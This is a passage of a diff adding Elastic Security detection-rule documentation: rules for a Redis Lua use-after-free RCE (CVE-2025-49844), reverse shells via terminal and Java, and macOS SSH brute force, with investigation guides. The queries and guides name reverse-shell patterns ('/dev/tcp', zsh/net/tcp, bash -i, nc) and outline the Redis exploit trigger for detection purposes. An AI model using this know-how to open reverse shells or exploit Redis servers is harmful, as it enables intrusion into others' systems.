-p CPUQuota=10% dpkg -l*" + ) or + ?process.parent.command_line in ("runc init", "/usr/local/bin/main") or + ?process.parent.command_line like ("*/var/lib/waagent/*", "bash ./run.sh") or + process.args in ( + "--help", "list-timers", "/usr/lib/udev/kdump-udev-throttler", "kubectl", "--unit=ngt_guest_agent_upgrade", "i3-zoom", "google-chrome", + "thunar", "/usr/bin/google-chrome-stable", "snap.lxd.workaround", "--unit=firefox", "--unit=slack", "--slice=zoom.slice", + "autorandr-launcher", "--unit=restart-dbus", "--unit=autorandr-debounce" + ) or + process.args like ("--unit=app-Hyprland-wezterm-*.scope", "--unit=app-Hyprland-swaybg-*.scope", "--unit=rmf_sim_*") or + ?process.working_directory == "/opt/Tychon/Endpoint/bin" or + (process.args in ("rpm", "dpkg") and process.args like~ "CPUQuota=*") or + (process.args == "--slice=app-graphical.slice" and process.args == "--description=xdg-terminal-exec") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc new file mode 100644 index 0000000000..8090fbef17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-36-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell]] +=== Potential Redis Lua Use-After-Free RCE Attempt (CVE-2025-49844 / RediShell) + +This rule detects exploitation attempts targeting CVE-2025-49844 (RediShell), a CVSS 10.0 use-after-free vulnerability in the Redis Lua interpreter. An authenticated attacker sends an EVAL command containing a Lua script that calls string.rep() to create memory pressure and collectgarbage('collect') to force garbage collection, exploiting a use-after-free in the Lua parser to achieve remote code execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.redis* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2025-49844 +* https://redis.io/blog/security-advisory-cve-2025-49844 +* https://www.cisa.gov/known-exploited-vulnerabilities-catalog +* https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844 + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2025-49844 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Redis Lua Use-After-Free RCE Attempt (CVE-2025-49844 / RediShell)* + + +CVE-2025-49844 is a use-after-free in the Redis Lua interpreter. An authenticated attacker sends an EVAL command whose Lua script calls `string.rep()` to create memory pressure, then `collectgarbage('collect')` to force GC, triggering the use-after-free to achieve RCE. This rule matches on the `network_traffic.redis.query` field populated by the network_traffic (Packetbeat) Redis protocol module. + + +*Possible investigation steps* + + +- Identify the source IP and determine whether it is a known trusted host or an internet address. Internet-exposed Redis (port 6379) with this pattern is almost certainly malicious. +- Confirm the destination Redis version. If unpatched (6.2.x branch: < 6.2.20; 7.2.x branch: < 7.2.11; 7.4.x branch: < 7.4.6; 8.0.x branch: < 8.0.4; 8.2.x branch: < 8.2.2), treat the alert as a high-confidence exploitation attempt. +- Review surrounding Redis commands (AUTH, CONFIG, SLAVEOF, DEBUG) from the same source IP for evidence of post-exploitation configuration tampering. +- Examine the destination host for evidence of reverse-shell establishment: outbound connections from the Redis process, new listening ports, or child process spawning (bash -i, nc, /dev/tcp patterns). +- Pivot to endpoint telemetry on the Redis host for process execution anomalies at or after the alert time. + + +*False positive analysis* + + +- `string.rep()` and `collectgarbage('collect')` are valid Lua functions individually. Their deliberate combination inside a Redis EVAL is almost exclusively associated with CVE-2025-49844 or explicit security testing. +- Authorized penetration testing and vulnerability scanning against the CVE will trigger this rule. Validate against known scanner IPs and scheduled assessment windows before escalating. + + +*Response and remediation* + + +- Immediately patch affected Redis instances: 6.2.x >= 6.2.20, 7.2.x >= 7.2.11, 7.4.x >= 7.4.6, 8.0.x >= 8.0.4, 8.2.x >= 8.2.2. +- Restrict Redis network access to trusted hosts only. Redis should never be directly reachable from the internet. +- Require authentication (`requirepass` or ACL) and rotate credentials if exploitation is suspected. +- If Lua scripting is not required, restrict EVAL via ACLs (`ACL SETUSER -eval`). +- If successful exploitation is suspected, isolate the host, collect artifacts, and rotate all credentials stored in or accessible via Redis. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic **network_traffic** integration (Packetbeat via Elastic Agent) with the Redis +protocol module enabled. The rule matches on the `network_traffic.redis.query` field (keyword — human-readable command text) populated +for every Redis transaction; the raw wire bytes are available in `network_traffic.redis.request` (text) if +deeper inspection is needed. + + +*Enabling the Redis module* + + +In the Elastic Agent `network_traffic` integration policy: +1. Add or confirm **Redis** in the protocols list with `enabled: true`. +2. Set **ports** to include `6379` (or the custom port your Redis instances listen on). +3. Deploy the sensor on the Redis host, on a SPAN/mirror port, or on a gateway that receives Redis traffic. + + +*TLS limitation — this rule only covers unencrypted Redis* + + +Redis uses a plaintext protocol by default (port 6379, no TLS). Packetbeat can inspect the full request payload +on unencrypted connections, which is the configuration used by the vast majority of internet-exposed instances +(8,500+ vulnerable instances identified as of October 2025 were all unencrypted). + +If TLS is configured for Redis (`tls-port`, `tls-cert-file`, and `tls-key-file` in redis.conf), Packetbeat cannot +inspect the payload without TLS decryption. For TLS-protected Redis deployments, supplement this rule with +endpoint detection (process command-line arguments, system call monitoring) on the Redis host itself. + + + +==== Rule query + + +[source, js] +---------------------------------- +network where data_stream.dataset == "network_traffic.redis" and + network_traffic.redis.query like~ "*EVAL*" and + network_traffic.redis.query like~ "*string.rep*" and + network_traffic.redis.query like~ "*collectgarbage*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-reverse-shell-activity-via-terminal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-reverse-shell-activity-via-terminal.asciidoc new file mode 100644 index 0000000000..1d7ea77bd7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-reverse-shell-activity-via-terminal.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-36-potential-reverse-shell-activity-via-terminal]] +=== Potential Reverse Shell Activity via Terminal + +Identifies the execution of a shell process with suspicious arguments which may be indicative of reverse shell activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md +* https://github.com/WangYihang/Reverse-Shell-Manager +* https://www.netsparker.com/blog/web-security/understanding-reverse-shells/ +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Reverse Shell Activity via Terminal* + + +A reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing. This activity is typically the result of vulnerability exploitation, malware infection, or penetration testing. + +This rule identifies commands that are potentially related to reverse shell activities using shell applications. + + +*Possible investigation steps* + + +- Examine the command line and extract the target domain or IP address information. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type in ("start", "process_started") and + process.name in ("sh", "bash", "zsh", "dash", "zmodload") and + process.args : ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*", "*zsh/net/udp*") and + + /* noisy FPs */ + not (process.parent.name : "timeout" and process.executable : "/var/lib/docker/overlay*") and + not process.command_line : ( + "*/dev/tcp/remoteiot.com/*", "*dev/tcp/kafka/*", "*/dev/tcp/$0/$1*", "*/dev/tcp/127.*", + "*/dev/udp/127.*", "*/dev/tcp/localhost/*") and + not process.parent.command_line : "runc init" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-reverse-shell-via-java.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-reverse-shell-via-java.asciidoc new file mode 100644 index 0000000000..4ad3b16e0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-reverse-shell-via-java.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-36-potential-reverse-shell-via-java]] +=== Potential Reverse Shell via Java + +This detection rule identifies the execution of a Linux shell process from a Java JAR application post an incoming network connection. This behavior may indicate reverse shell activity via a Java application. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 17 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Java* + + +Java applications, often run on Linux systems, can be exploited by adversaries to establish reverse shells, allowing remote control over a compromised system. Attackers may execute shell commands via Java processes post-network connection. The detection rule identifies suspicious Java activity by monitoring for shell executions following network connections, excluding benign processes, to flag potential reverse shell attempts. + + +*Possible investigation steps* + + +- Review the network connection details, focusing on the destination IP address to determine if it is external or potentially malicious, as the rule excludes common internal and reserved IP ranges. +- Examine the Java process that initiated the network connection, including its executable path and arguments, to identify any unusual or unauthorized JAR files being executed. +- Investigate the child shell process spawned by the Java application, checking its command-line arguments and execution context to assess if it aligns with known reverse shell patterns. +- Cross-reference the parent Java process and the child shell process with known benign applications or services, such as Jenkins or NetExtender, to rule out false positives. +- Analyze historical data for the host to identify any previous similar activities or patterns that might indicate a persistent threat or repeated exploitation attempts. + + +*False positive analysis* + + +- Java-based administrative tools like Jenkins may trigger false positives when executing shell commands. Exclude known benign Java applications such as Jenkins by adding their specific JAR paths to the exception list. +- Automated scripts or maintenance tasks that use Java to execute shell commands can be mistaken for reverse shell activity. Identify and exclude these scripts by specifying their unique process arguments or executable paths. +- Development environments where Java applications frequently execute shell commands for testing purposes can generate false alerts. Consider excluding these environments by filtering based on specific host identifiers or network segments. +- Security tools that utilize Java for network operations and shell executions might be flagged. Verify and exclude these tools by adding their process names or executable paths to the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious Java processes identified in the alert to stop potential reverse shell activity. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or lateral movement attempts. +- Remove any unauthorized or malicious Java JAR files and associated scripts from the system. +- Apply security patches and updates to the Java environment and any other vulnerable software on the affected host. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where host.os.type == "linux" and event.action in ("connection_accepted", "connection_attempted") and + process.executable : ("/usr/bin/java", "/bin/java", "/usr/lib/jvm/*", "/usr/java/*") and + not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + )] by process.entity_id + [process where host.os.type == "linux" and event.action == "exec" and + process.parent.executable : ("/usr/bin/java", "/bin/java", "/usr/lib/jvm/*", "/usr/java/*") and + process.parent.args : "-jar" and process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + and not ( + process.parent.args in ( + "/usr/lib/jenkins/jenkins.war", "/etc/remote-iot/services/remoteiot.jar", "/opt/pentaho/data-integration/launcher/launcher.jar", + "/usr/share/java/jenkins.war", "/opt/tomcat/statistics/statistics.jar", "/usr/lib64/NetExtender.jar", + "-javaagent:/opt/opentelemetry/opentelemetry-javaagent-all.jar", "./lib/pipeline-job-executor*SNAPSHOT.jar", + "./lib/worker-launcher-agent*SNAPSHOT.jar", "/opt/Seqrite_EndPoint_Security/wildfly/jboss-modules.jar", + "*-SNAPSHOT.jar" + ) or + process.command_line like~ ( + "bash -c ps -eo pid,lstart,comm*", + "/bin/sh -xe /tmp/hudson*.sh" + ) + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..07027a351b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-36-potential-ssh-brute-force-detected-via-macos-security-events]] +=== Potential SSH Brute Force Detected via macOS Security Events + +Identifies a high number of failed inbound SSH authentication attempts on a macOS host within a short time window, using sshd authentication messages collected by the macOS Security Events integration. Adversaries may perform password brute force or password spraying against exposed SSH services to obtain unauthorized access. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: macOS Security Events +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: macOS +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential SSH Brute Force Detected via macOS Security Events* + + +On macOS, the `sshd-session` process logs every failed authentication attempt to the unified log (`Failed password for`, `Failed keyboard-interactive/pam for`, +`PAM: authentication error for`), and connections that probe a non-existent username end with `Connection closed by invalid user`. +This rule counts these failure messages per host and alerts when the number reaches the threshold within the rule window. +Successful authentications are not counted. The rule extracts the targeted usernames and source IP addresses from the message text and reports them in the alert as `Esql.user_name_values` +and `Esql.source_ip_values`, with distinct counts in `Esql.user_name_count` and `Esql.source_ip_count`. + + +*Possible investigation steps* + + +- Review `Esql.event_count`, `Esql.user_name_values`, and `Esql.source_ip_values` in the alert to identify how many +attempts occurred and which accounts and sources were involved. +- Use `Esql.user_name_count` and `Esql.source_ip_count` to characterize the activity: many usernames from one source +indicates password spraying, one username from one source indicates password guessing, and one username from many +sources indicates a distributed attack. Check whether the targeted usernames exist on the host. +- Check whether any `Accepted` message from `sshd-session` follows the failures in `logs-macos.authentication-*`, which +would indicate the attack succeeded. +- Determine whether the source IP addresses are internal or external and whether they are associated with known +infrastructure, scanners, or previous alerts. +- Determine whether Remote Login is expected to be enabled on this host (for example, build servers or developer +workstations). +- Correlate with other alerts or events from the same host during the same period. + + +*Related rules* + + +- Potential Successful SSH Brute Force Attack via macOS Security Events - f5898b1e-3071-4597-b066-43d298c7b415 + + +*False positive analysis* + + +- Automation or configuration management tooling with stale or rotated credentials can generate bursts of failures, +typically from a single known source IP address against a single service account. +- Security scanners or credential-validation health checks that test SSH authentication against known hosts. +- Internet-facing SSH services may receive high volumes of scanning or credential-stuffing traffic from unrelated +sources; consider network-level rate limiting or exclusions for known source addresses. +- Users repeatedly mistyping a password rarely reach the threshold within the window due to PAM's per-attempt delay, +but multiple parallel sessions from the same user can approach it. + + +*Response and remediation* + + +- Block or rate-limit the source IP addresses reported in `Esql.source_ip_values` at the network perimeter or on the +host. +- Verify no successful authentication followed the failures; if one did, treat the host as potentially compromised and +follow the response steps of the successful brute force rule. +- Reset credentials for the accounts reported in `Esql.user_name_values` if there is any indication they may be weak or +exposed. +- Review the host's SSH configuration: prefer key-based authentication, restrict access with `AllowUsers`/`AllowGroups`, +and disable Remote Login where it is not required. +- Escalate to the security operations team if additional hosts show similar patterns. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/integrations/macos[macOS Security Events Integration for Elastic] +SSH authentication logging setup instructions: https://www.elastic.co/docs/reference/security/prebuilt-rules/integrations/macos/macos_security_events_ssh_authentication[macOS Security Events: SSH Authentication] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-macos.authentication-* +| WHERE data_stream.dataset == "macos.authentication" and ( + macos.event.message.description LIKE "Failed password for*" or + macos.event.message.description LIKE "Failed keyboard-interactive/pam for*" or + macos.event.message.description LIKE "error: PAM: authentication error for*" or + macos.event.message.description LIKE "Connection closed by invalid user*" + ) +| GROK macos.event.message.description "for (invalid user )?%{NOTSPACE:Esql.user_name_attempt} from %{IP:Esql.source_ip_attempt}" +| GROK macos.event.message.description "closed by invalid user %{NOTSPACE:Esql.user_name_probe} %{IP:Esql.source_ip_probe}" +| EVAL Esql.user_name = COALESCE(Esql.user_name_attempt, Esql.user_name_probe), + Esql.source_ip = COALESCE(Esql.source_ip_attempt, Esql.source_ip_probe) +| STATS + Esql.event_count = COUNT(*), + Esql.user_name_values = VALUES(Esql.user_name), + Esql.user_name_count = COUNT_DISTINCT(Esql.user_name), + Esql.source_ip_values = VALUES(Esql.source_ip), + Esql.source_ip_count = COUNT_DISTINCT(Esql.source_ip) + BY host.id, host.name +| WHERE Esql.event_count >= 20 +| KEEP host.id, host.name, Esql.event_count, Esql.user_name_values, Esql.user_name_count, Esql.source_ip_values, Esql.source_ip_count + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..f4dd84c809 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-36-potential-successful-ssh-brute-force-attack-via-macos-security-events]] +=== Potential Successful SSH Brute Force Attack via macOS Security Events + +Identifies a burst of failed inbound SSH authentication attempts on a macOS host followed shortly by a successful SSH authentication on the same host, using sshd authentication messages collected by the macOS Security Events integration. A successful login immediately after repeated failures indicates that a password brute force or password spraying attack against an exposed SSH service has likely succeeded. + +*Rule type*: eql + +*Rule indices*: + +* logs-macos.authentication-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Data Source: macOS Security Events +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: macOS +* Domain: Endpoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Successful SSH Brute Force Attack via macOS Security Events* + + +SSH (Secure Shell) is a protocol used to securely access remote systems. On macOS, the `sshd-session` process logs each +failed authentication attempt (`Failed password for`, `Failed keyboard-interactive/pam for`, +`PAM: authentication error for`) and each successful one (`Accepted for from port `) to the +unified log. This rule alerts when ten or more failure messages on a host are followed within 15 seconds by an +`Accepted` message on the same host, indicating that a brute force or password spraying attack has likely succeeded. +The sequence is correlated per host; the source IP address and username are present in the message text and must be +read from the sequence events. + + +*Possible investigation steps* + + +- Review the `Accepted` event in the sequence and read its `macos.event.message.description.` field to identify the compromised username, the +source IP address and port, and the authentication method used. +- Compare the source IP address and usernames in the failure messages with the `Accepted` message to confirm the +success came from the same source and to determine whether one account or many were targeted. +- Determine whether the source IP address is internal or external and whether it is associated with known +infrastructure, scanners, or previous alerts. +- Verify whether the compromised account has administrative privileges or is a member of the `admin` group. +- Review process activity on the host after the successful login for discovery, persistence, or credential access +behavior, using Elastic Defend data if available. +- Review other alerts and events associated with the affected host and account during the past 48 hours. +- Determine whether Remote Login is expected to be enabled on this host and whether the account is expected to log in +over SSH. + + +*Related rules* + + +- Potential SSH Brute Force Detected via macOS Security Events - 3751cc17-6e7e-4356-86d5-c8f44aab9a28 + + +*False positive analysis* + + +- Automation or configuration management tooling that retries with stale credentials before succeeding with a valid one +can produce a burst of failures followed by a success. Verify the source and exclude known automation if expected. +- Because correlation is per host, an unrelated successful login within 15 seconds of a failure burst from another source +will match. Compare source 